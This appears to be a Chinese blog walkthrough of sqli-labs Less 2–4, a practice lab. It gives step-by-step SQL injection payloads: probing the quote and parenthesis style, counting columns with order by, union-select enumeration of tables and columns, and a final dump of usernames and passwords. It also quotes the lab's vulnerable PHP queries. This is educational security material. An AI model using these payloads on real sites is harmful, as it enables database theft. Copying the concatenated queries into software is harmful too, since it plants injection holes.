sqli-labs Less 2-4 的解題與Less1思路相同,只在閉合型別上存在少量區別,故直接提供解題過程,不再作詳細解釋。
對sql注入基本原理尚不瞭解的可以參考我的上一篇部落格基於sqli-labs Less-1的sql聯合注入詳解
Less-2
1. 判斷注入型別
判定為數字型注入
?id=1 and 1=1 回顯
?id=1 and 1=2 報錯
2. 判斷欄位數
欄位數為3
/?id=1 order by 1
/?id=1 order by 2
/?id=1 order by 3
3. 判斷注入點
/?id=1 union select 1,2,3 資料回顯,但是沒有回顯注入點
/?id=0 union select 1,2,3 回顯注入點為2和3
4. 拆解資料庫
/?id=0 union select 1,2,database() 資料庫security
/?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' 表名emails,referers,uagents,users
/?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ 欄位id,username,password
/?id=0 union select 1,group_concat(username),group_concat(password) from security.users
Less-3
1. 白盒測試
就是閉合符合改成')
了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
2. 判斷注入型別
判定為字元型注入
?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 回顯
?id=1 ') and ('1')=('1 回顯
?id=1 ') and ('1')=('2 錯誤
?id=1') 錯誤
?id=1')--+ 回顯
3. 判斷欄位數
欄位數為3
/?id=1') order by 1--+
'
/?id=1') order by 2--+
'
/?id=1') order by 3--+
4. 判斷注入點
/?id=1') union select 1,2,3--+ '資料回顯,但是沒有回顯注入點
/?id=0') union select 1,2,3--+ '回顯注入點為2和3
5. 拆解資料庫
/?id=0')union select 1,2,database()--+ '資料庫security
/?id=0')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+ '表名emails,referers,uagents,users
/?id=0')union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+ '欄位id,username,password
/?id=0')union select 1,group_concat(username),group_concat(password) from security.users --+
Less-4
1. 原始碼
相當於外面套了("")
,把閉合符全部換成")
即可
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
2. 判斷注入型別
?id=1 and 1=1 回顯
?id=1 and 1=2 回顯
?id=1' and '1'='1 回顯
?id=1' and '1'='2 回顯
?id=1 ') and ('1')=('1 回顯
?id=1 ') and ('1')=('2 回顯
?id=1") and ("1")=("1 回顯
?id=1" and ("1")=("1 報錯
?id=1") 報錯
?id=1")--+ 回顯
後續過程略